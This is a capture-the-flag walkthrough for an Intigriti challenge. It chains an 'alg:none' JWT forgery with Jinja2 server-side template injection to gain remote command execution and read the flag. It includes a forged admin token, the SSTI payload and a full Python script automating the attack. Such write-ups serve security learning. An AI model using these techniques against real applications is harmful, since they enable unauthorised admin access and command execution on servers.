# Intigriti Challenge 1125 Walkthrough: JWT Forgery → Jinja2 SSTI → RCE
## Challenge Introduction
Welcome to the AquaCommerce CTF (Intigriti November 2025). The target storefront runs at `https://challenge-1125.intigriti.io/browse`. Goal: achieve remote code execution on the server, no sandbox, no user interaction, and extract the flag.
---
## Step 1: Recon & Session Handling
Browsing the public pages reveals only static content (browse/shop/cart). No obvious inputs except login/register. Registering any account (e.g., `ctfer:Passw0rd!`) produces two cookies:
- `session` – shopping-cart data
- `token` – JWT that manages authentication/role
Example decoded JWT:
```json
{
"header": {"alg": "HS256", "typ": "JWT"},
"payload": {"user_id": 457, "username": "tester123", "role": "user", "exp": 1763471696}
}
```
---
## Step 2: Weak JWT Validation
Testing showed the application accepts unsigned tokens. Generate an “alg:none” JWT with admin claims:
```text
Header: {"alg":"none","typ":"JWT"}
Payload: {"user_id":1,"username":"admin","role":"admin","exp":<future timestamp>}
Token: eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogMTc2MzM4NzQwNX0.
```
Set this value as the `token` cookie and reload `/admin`. The dashboard, user/order/product listings, and profile editor become accessible even though we never knew the real admin password.
---
## Step 3: Hunting for Code Execution Surface
Admin pages are mostly static, but `/admin/profile` exposes an input: “Display Name”. Submitting `{{7*7}}` causes the page to display **49** as the “Current Display Name” while the form still shows the literal payload. That confirms server-side template injection (likely Jinja2).
---
## Step 4: From SSTI to RCE
Jinja2’s object graph lets us reach Python’s standard library:
```
{{ cycler.__init__.__globals__['os'].popen('id').read() }}
```
Posting the above as `display_name` makes the profile page render the output of `id`, e.g.:
```
uid=999(appuser) gid=999(appuser) groups=999(appuser)
```
At this point we have arbitrary command execution as the web user.
### Helper Script
```python
# ssti_rce.py
import requests, base64, json, time, re
def make_admin_session():
b64 = lambda d: base64.urlsafe_b64encode(json.dumps(d).encode()).decode().rstrip('=')
token = b64({"alg":"none","typ":"JWT"}) # header
token += '.' + b64({"user_id":1,"username":"admin","role":"admin","exp":int(time.time())+600}) + '.'
s = requests.Session()
s.cookies.set('token', token, domain='challenge-1125.intigriti.io')
return s
def run_cmd(cmd):
s = make_admin_session()
payload = "{{ cycler.__init__.__globals__['os'].popen('%s').read() }}" % cmd
s.post('https://challenge-1125.intigriti.io/admin/profile', data={'display_name': payload})
resp = s.get('https://challenge-1125.intigriti.io/admin/profile')
match = re.search(r"Current Display Name</label>\s*<div[^>]*>\s*<p[^>]*>(.*?)<", resp.text, re.S)
print(match.group(1).strip() if match else "no output")
if __name__ == "__main__":
run_cmd('id')
```
Running `run_cmd('id')` prints the same result as the manual test.
---
## Step 5: Locating the Flag
Use the RCE to enumerate files:
```
run_cmd('find /app -name flag\\* 2>/dev/null')
```
Or simply search for the flag format:
```
run_cmd("grep -R INTIGRITI /app 2>/dev/null")
```
This revealed:
```
/app/.aquacommerce/019a82cf.txt:INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}
```
Finally:
```
run_cmd("cat /app/.aquacommerce/019a82cf.txt")
```
→ `INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}`
---
## Conclusion
By chaining a weak JWT implementation with an unescaped Jinja template, we achieved full RCE on AquaCommerce’s challenge instance and captured the required flag.